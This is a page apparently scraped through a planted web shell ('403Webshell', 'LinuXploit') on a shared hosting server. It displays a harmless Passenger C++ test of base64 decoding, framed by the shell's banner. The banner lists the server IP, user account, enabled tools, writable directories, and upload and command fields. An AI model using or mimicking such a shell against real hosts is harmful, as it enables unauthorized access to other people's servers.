403Webshell
Server IP : 66.29.132.122  /  Your IP : 13.58.134.228
Web Server : LiteSpeed
System : Linux business142.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : admazpex ( 531)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/cpanel/ea-ruby27/src/passenger-release-6.0.23/test/cxx/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/cpanel/ea-ruby27/src/passenger-release-6.0.23/test/cxx/Base64DecodingTest.cpp
#include <TestSupport.h>
#include <modp_b64.h>

using namespace Passenger;
using namespace modp;
using namespace std;

namespace tut {
	struct Base64DecodingTest: public TestBase {
		string decode(const char* base64string){
			return b64_decode(base64string);
		}

	};

	DEFINE_TEST_GROUP(Base64DecodingTest);

	/***** Valid base64 *****/
	TEST_METHOD(1) {
		ensure_equals(decode(""),"");
	}
	TEST_METHOD(2) {
		ensure_equals(decode("YQ=="),"a");
	}
	TEST_METHOD(3) {
		ensure_equals(decode("YWI="),"ab");
	}
	TEST_METHOD(4) {
		ensure_equals(decode("YWJj"),"abc");
	}
	TEST_METHOD(5) {
		ensure_equals(decode("VGhpcyBpcyBhIHRlc3Qgb2YgYSBsb25nZXIgc3RyaW5nLg=="),"This is a test of a longer string.");
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit